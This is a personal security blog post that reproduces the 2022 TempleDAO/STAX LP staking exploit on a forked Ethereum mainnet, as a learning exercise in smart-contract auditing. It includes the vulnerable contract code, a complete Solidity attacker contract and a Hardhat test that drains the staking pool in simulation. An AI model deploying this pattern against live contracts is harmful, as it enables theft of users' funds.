TempleDAO Exploit Remastered

November 14, 2022

So.. It's been a long time since I've written anything on this blog. I've been out of touch with the cyber security twitterverse, and have been away from security research and CTFs for a little over a year now (I think?). I basically just got burnt out, and decided to take a long break from all of this to recover.

But I'm back now, and hopefully for a while :)

Preface

I've been using smart contract security as my new area of interest to get back into security. I thought a change for once would help not get burnt out again immediately.

For anyone interested about getting into smart contract auditing, or learning about blockchain security, the path I took before being able to write this post is (in order):

  1. Read the Mastering Ethereum book.
  2. Solved all the Ethernaut challenges (solutions for all the contract based solvers here).
  3. Solved all the Damn Vulnerable Defi challenges (except the last one, solutions here).

I'm currently start to get into Code4rena competitions to further develop my auditing skills. I recommend this path through personal experience, as it's worked for me so far.

Disclaimer

I do not recommend reading this blog post unless you're at least a little bit familiar with smart contracts and the EVM ecosystem. I'll use terminology that I expect the reader to already understand throughout this post.

Introduction

On October 11, 2022, TempleDAO's Frax/Temple LP token staking contract was exploited. The attacker was able to get away with $2.34 million USD worth of LP tokens.

In this blog post, I will write an exploit for this attack, and then go into detail about how to use hardhat and Alchemy to fork the ethereum mainnet and run the exploit as if we were the attacker from back then (technically, on October 8th, 2022).

This is my first time replicating a real world exploit, so I chose this specific attack as it's a really simple one. I wanted my first replication of an attack to be simple, so I could get my local testing and exploit development environment up and running.

Setup

I recommend just using my repository as a starting point. It took me a while to set it up, and I based it off of cmichel's one, although I had to make a few changes here and there to get everything to work, since his repository is a little old now.

  1. Ensure you have node.js version >=16.0 installed. You can check by running node -v in your terminal. I'm using WSL2.
  2. Clone this repository.
  3. Run cp .env.example .env
  4. Create an account on etherscan, and generate an API key. Place it inside .env (like ETHERSCAN_API_KEY=<KEY_HERE>).
  5. Create an account on Alchemy, and then create an app from the dashboard. Go to the app, click the "View key" button, and copy paste the HTTPS URL into .env (like ARCHIVE_URL=<URL_HERE>).
  6. Run npm install from within the repository directory.

The exploit is already in the repository, but you can delete the following files and directories to start afresh and follow along:

  1. test/templedao_attack.test.ts
  2. contracts/StaxLPStakingExploit/StaxLPStakingExploit.sol

For anyone interested in the things I changed:

  • I removed some of the tasks in the tasks/ directory.
  • Updated hardhat.config.ts to remove everything unnecessary, and added a more recent solidity compiler version. There's good documentation on this file here.
    • This is where I set up the mainnet forking parameters.
  • Updated package.json to use a more recent version of the @openzeppelin-contracts package.
  • Wrote a get_contracts.py script that lets you download contracts directly from a contract address (from etherscan). Try to run it to see it's usage.
  • Wrote a getAbi() utility function that lets me read the ABI of a verified contract that's stored on disk. This is used in the exploit.

I might have missed something, but that's the general gist of it.

Editor setup

I recommend using VSCode with the Prettier - Code Formatter, npm Intellisense, and Solidity Visual Developer extensions installed. You also might need to turn on the Format On Save option in the preferences. It'll auto format your code for you whenever you save, and assist you in importing functions / objects from other files, which is a huge help when writing Typescript and Solidity (in my opinion).

A Hardhat Primer

First things first, for anyone who's never used hardhat before, the general workflow is as follows:

  • All solidity contracts go under some subdirectory of the contracts/ directory.
  • The contracts are ran / deployed / tested using test files that are stored in the test/ directory.

Note that you don't necessarily need a solidity contract for every exploit. The test file is all that's required in some cases.

Within the test file, you use the mocha (and optionally, the chai) libraries to set up tests where you can deploy contracts, run functions within contracts, and much, much more. One of the main libraries you'll use to do this is the ethers library. See its extensive documentation here. Note that you sometimes won't find a function or two in there, because hardhat has its own extension of ethers called hardhat-ethers, for which there is documentation here.

You can run test files like this: npx hardhat test test/testfile.test.ts. I preferred to write a script in my package.json so that I could just do yarn templedao. See package.json for more details.

Local Blockchain vs Forking From Mainnet

There's two ways we can replicate this exploit. Either we use hardhat's local blockchain to do it, or we fork from the mainnet.

If we use the local blockchain, it's quite a hassle because we have to set up the contract just as it was on the mainnet before the exploit. We have to set up the owner users (and any other roles), and we also have to set up the LP token contract, which means we also need to set up the token contracts for each individual token that's part of the LP. We would then need to mint the correct amount of tokens, set up the balances, etc etc, you get the idea. Obviously we can't be bothered with that.

Instead, the other option is to "fork" the mainnet. What this means is we simulate having the same state as the mainnet, but locally. This makes it extremely easy as all the contracts that we'll interact with are already deployed with the required states, so we don't have to set anything up except for our own contracts.

How do we go back in time?

Transactions in the EVM are stored within "blocks", and each block is what makes up the blockchain. In order to go back in time, we need to go back to a block number from before October 11, 2022.

I did this experimentally. I just visited etherscan, picked the latest transaction I could see, and clicked on the block number. I then just reduced the block number in the URL until I landed on 15700000, which was mined on the 8th of October, 2022.

Now that we have this block, lets get started with our test. Remember, you can always view the entire test file here. I will leave code snippets out that are unnecessary:

describe('TempleDAO Exploit', async () => {
  before(async () => {
    // Block number from October 8, 3 days before the attack
    await forkFrom(15700000);
  });
};

We describe a new test called TempleDAO Exploit. Within the test function, we have a before() function, where we pass an async callback that is run before any tests below it.

In this function, we use a helper function called forkFrom() that I conveniently stole from cmichel's repository. It updates the hardhat config automatically to the block number we choose.

Assuming you have the necessary imports set up (again, check the actual file linked above or on the repo), you can run the exploit now using npx hardhat test test/templedao_attack.test.ts (or whatever you named it), and you should see:

$ npx hardhat test test/templedao_attack.test.ts


  0 passing (0ms)

Success! We have something to start with now.

The vulnerability

The contract

First, lets understand the vulnerability. Looking at STAX Finance's twitter, the most recent tweet has a link to the contract in question.

I used my get_contracts.py helper script to download it as follows, so I could view it locally:

$ python3 get_contracts.py 0xd2869042e12a3506100af1d192b5b04d65137941
[SUCCESS] Fetched contract from address 0xd2869042e12a3506100af1d192b5b04d65137941

$ ls downloaded_contracts/StaxLPStaking/
Address.sol         Context.sol         ERC20.sol           IERC20.sol          IERC20Metadata.sol  Ownable.sol         SafeERC20.sol       StaxLPStaking.sol

You don't have to do this, as you can view StaxLPStaking.sol on etherscan if you'd like.

Prior knowledge about the vulnerability

The only knowledge I had about this exploit before looking into it were from the tweet above, this tweet, and the news article linked in the Introduction section.

This tweet in question mentions that 'The critical mistake is one of access control", so immediately, we're looking for an external function that we as a normal user can likely call.

Auditing the functions

The only non-view functions that match this criteria in the contract are:

function stake(uint256 _amount) external {}
function stakeAll() external {}
function stakeFor(address _for, uint256 _amount) public {}
function withdraw(uint256 amount, bool claim) public {}
function withdrawAll(bool claim) external {}
function getRewards(address staker) external updateReward(staker) {}
function getReward(address staker, address rewardToken) external updateReward(staker) {}
function notifyRewardAmount(
    address _rewardsToken,
    uint256 _amount
) external updateReward(address(0)) {}
function migrateStake(address oldStaking, uint256 amount) external {}

After auditing every function, the two notable and interesting ones are the following:

notifyRewardAmount()

function notifyRewardAmount(
    address _rewardsToken,
    uint256 _amount
) external updateReward(address(0)) {
    require(msg.sender == rewardDistributor, "not distributor");
    require(_amount > 0, "No reward");
    require(rewardData[_rewardsToken].lastUpdateTime != 0, "unknown reward token");
    
    _notifyReward(_rewardsToken, _amount);

    IERC20(_rewardsToken).safeTransferFrom(msg.sender, address(this), _amount);

    emit RewardAdded(_rewardsToken, _amount);
}

It takes in an address _rewardsToken and a uint256_amount, does a few checks, one of which ensures that the _rewardsToken is a valid one (by seeing if it was ever updated), and then transfers the reward tokens to the msg.sender.

There would have been a potential to pass in our a _rewardsToken address that we control, and then get a function call to our own safeTransferFrom() function, but due to the checks, this is impossible.

migrateStake()

function migrateStake(address oldStaking, uint256 amount) external {
    StaxLPStaking(oldStaking).migrateWithdraw(msg.sender, amount);
    _applyStake(msg.sender, amount);
}

Right away, we see that we're able to pass in an arbitrary address in place of oldStaking, and it'll make a call to migrateWithdraw() at this address! An arbitrary function call to an external contract without any checks? This is definitely the vulnerability.

Since we can control migrateWithdraw(), we don't even have to look at that function. Let's see what _applyStake() does:

function _applyStake(address _for, uint256 _amount) internal updateReward(_for) {
    _totalSupply += _amount;
    _balances[_for] += _amount;
    emit Staked(_for, _amount);
}

Remember that for is us (msg.sender), and amount is fully controlled. A call to just this function lets us stake an arbitrary amount of LP tokens into this contract! And that is what we can do so long as we treat migrateWithdraw() above as a no-op, which is easier done than said.

Is there a way to withdraw these "fake staked" tokens? Sure is:

function withdrawAll(bool claim) external {
    _withdrawFor(msg.sender, msg.sender, _balances[msg.sender], claim, msg.sender);
}

function _withdrawFor(
    address staker,
    address toAddress,
    uint256 amount,
    bool claimRewards,
    address rewardsToAddress
) internal updateReward(staker) {
    require(amount > 0, "Cannot withdraw 0");
    require(_balances[staker] >= amount, "Not enough staked tokens");

    _totalSupply -= amount;
    _balances[staker] -= amount;

    stakingToken.safeTransfer(toAddress, amount);
    emit Withdrawn(staker, toAddress, amount);
    
    if (claimRewards) {
        // can call internal because user reward already updated
        _getRewards(staker, rewardsToAddress);
    }
}

We can call withdrawAll() and set claim to false (just so we don't have to look at what _getRewards() does). This will reduce our balance and the totalSupply by amount, and then transfer us the amount we chose!

Note that even though there aren't integer overflow (or rather underflow in this case) checks in this function, this contract is using solidity version 0.8.4. After version 0.8.0, all math operations revert on overflows and underflows unless they are inside an unchecked { ... } block, so we wouldn't be able to call withdraw() ourselves with an arbitrary amount to steal all the tokens directly. We must have the amount staked before we're able to steal it.

Plan of attack

We now know what we have to do to perform this attack.

  1. Set up an attacker contract with an empty migrateWithdraw() function that has the same signature as the one migrateStake() calls.
  2. Call migrateStake() with the following arguments to fake our "staked" balance such that it becomes equal to the amount of tokens in the staking contract:
    • oldStaking - our malicious contract's address
    • amount - the number of tokens currently in the staking contract
  3. Call withdrawAll(false) to withdraw our faked "staked" balance to our contract.
  4. Somewhat optionally, transfer the tokens out of this contract to our own wallet.

Lets begin!

The Solidity Contract

First, lets write the malicious solidity contract. After reading the above steps, the code should be self-explanatory. I placed this inside contracts/StaxLPStakingExploit/StaxLPStakingExploit.sol:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import '@openzeppelin/contracts/token/ERC20/IERC20.sol';

interface IStaxLPStaking {
  function migrateStake(address oldStaking, uint256 amount) external;

  function withdrawAll(bool claim) external;
}

contract StaxLPStakingExploit {
  IStaxLPStaking private immutable stakingContract;
  IERC20 private immutable token;

  // Deployment will be done in the test, see below
  constructor(address _stakingContract, address _token) {
    stakingContract = IStaxLPStaking(_stakingContract);
    token = IERC20(_token);
  }

  function exploit() public {
    // Use the vulnerability to stake the entire balance of the StaxLPStaking
    // contract
    uint256 stakingContractBalance = token.balanceOf(address(stakingContract));
    stakingContract.migrateStake(address(this), stakingContractBalance);

    // Now just withdraw the tokens
    stakingContract.withdrawAll(false);

    // And transfer them to our EOA
    token.transfer(msg.sender, stakingContractBalance);
  }

  // Our `migrateWithdraw()` function does nothing
  function migrateWithdraw(address, uint256) external {}
}

Now, all we have to do is deploy this function and call the exploit() function.

The Hardhat Test

There's a few things we need to do in the test:

  1. Get access to an attacker EOA to use to call the exploit() function.
  2. Get handles to the staking contract, and the actual LP token contract.
    • We already know the address of the staking contract, and we can get the address of the token contract from the staking contract's storage.
  3. Deploy our attacker contract, passing in the addresses of the staking and token contracts into the constructor.
  4. Call the exploit() function.

I'll post the entire code excerpt below. It should be fairly readable, but I'll also explain in detail some parts of the code that might not immediately be understood by someone who hasn't used hardhat before:

import { Contract, Signer } from 'ethers';
import { ethers } from 'hardhat';
import { forkFrom } from './utils/fork';
import { getAbi } from './utils/abi';
import { expect } from 'chai';

describe('TempleDAO Exploit', async () => {
  let attacker: Signer;
  let attackerContract: Contract;
  let stakingContract: Contract;
  let tokenContract: Contract;

  const STAKING_CONTRACT_ADDRESS = '0xd2869042e12a3506100af1d192b5b04d65137941';

  before(async () => {
    // Block number from October 8, 3 days before the attack
    await forkFrom(15700000);

    // Get an attacker EOA that we can use
    [attacker] = await ethers.getSigners();

    // Get the contract ABI and subsquently the deployed contracts for the
    // staking contract as well as the LP token
    const staking_contract_abi = await getAbi(
      'contracts/StaxLPStakingExploit/StaxLPStakingABI.txt',
    );
    const token_contract_abi = await getAbi('contracts/StaxLPStakingExploit/StaxLPTokenABI.txt');

    stakingContract = await ethers.getContractAt(staking_contract_abi, STAKING_CONTRACT_ADDRESS);
    tokenContract = await ethers.getContractAt(
      token_contract_abi,
      await stakingContract.stakingToken(),
    );

    // Deploy the attacker script
    attackerContract = await (
      await ethers.getContractFactory('StaxLPStakingExploit', attacker)
    ).deploy(stakingContract.address, tokenContract.address);
  });

  it('Exploits successfully', async () => {
    // Before we start, we should have 0 LP tokens
    expect(await tokenContract.balanceOf(attacker.getAddress())).to.be.eq(0);

    // Get the current balance of the staking contract so we can make sure we
    // get all the tokens at the end
    const stakingContractBalanceBeforeAttack = await tokenContract.balanceOf(
      stakingContract.address,
    );

    console.log(
      `[+] Before running the exploit, the staking contract contains ${
        stakingContractBalanceBeforeAttack / Math.pow(10, 18)
      } tokens`,
    );

    // Run our exploit
    await attackerContract.exploit();

    // Our token balance should match the original token balance in the contract
    expect(await tokenContract.balanceOf(attacker.getAddress())).to.be.eq(
      stakingContractBalanceBeforeAttack,
    );

    // And the staking contract should have 0 tokens
    expect(await tokenContract.balanceOf(stakingContract.address)).to.be.eq(0);
  });
});

First, we have two special types of objects: a Signer and a Contract.

  • Signers are used as EOA accounts. The helper function ethers.getSigners() returns an array of 20 signers that we can use to deploy contracts and call functions on contracts.
  • Contracts are the actual contracts that we can deploy or call functions on.

In this case, we need to deploy only one contract: the attackerContract. The other two contracts are already deployed on our fork of the mainnet.

Accessing the Deployed Contracts

To actually get a handle to the deployed contracts, we need access to their ABIs. You can scroll down on the code page in etherscan to get the ABI for each of the contracts. I'll export them to JSON and link them here:

Note: you can get access to the token address in two ways: either by using console.log(await stakingContract.stakingToken());, or by going to this link and clicking on 12. stakingToken.

Once you've placed them in a text file somewhere in the repository, you can use the helper getAbi() function to fetch the ABIs. They're extremely long strings, so it's best not to copy paste them into the file.

Once that is done, you can use the ethers.getContractAt(abi, address) function to get a handle to each of the deployed contracts.

Deploying Our Contract

We now need to deploy our attackerContract. The steps to do this are:

  1. Get a ContractFactory object using the ethers.getContractFactory() function, passing in the name of our contract, and the deployer of the contract (the attacker in this case).
  2. Actually deploy() the contract with any necessary constructor arguments (in this case, the address of the deployed contracts above).

Running the exploit

This part is as easy as writing a new test (using the it('Does something', () => { ... }) syntax) and running await attackerContract.exploit() in this test. However, to prove that the exploit actually worked, we use chai's expect() function to ensure that we start off with 0 tokens, and end up with the same amount of tokens that was in the staking contract (and that the staking contract now contains 0 tokens).

$ npx hardhat test test/templedao_attack.test.ts


  TempleDAO Exploit
[+] Before running the exploit, the staking contract contains 321154.8655671246 tokens
    ✔ Exploits successfully (82ms)


  1 passing (11s)

Done in 11.90s.

Conclusion

And there you have it, a real world exploit of a smart contract.

Obviously, this was a very simple exploit. A lot of the attacks are ten to a hundred times more complex than this.

However, I spent the majority of my time actually getting the environment setup such that I could even test out the attack in the first place. That's why I chose an easy and simple attack.

I'll continue this as a series, replicating more and more complex attacks as I go, and blogging about it. Stay tuned!

I hope my repository comes of some use to others for setting up their environment too! Here are a few links. As always, if you have any questions, you can contact me on my twitter (or my mastodon if I ever figure out how to use it):

Thanks for reading, and I hope you enjoyed it!


Profile picture

Hello! I am Faraz, a Web3 auditor at Zellic. I used to be a Chrome + Android vulnerability researcher in a previous life. Follow me on twitter!

You can find my old vulnerability research blog here.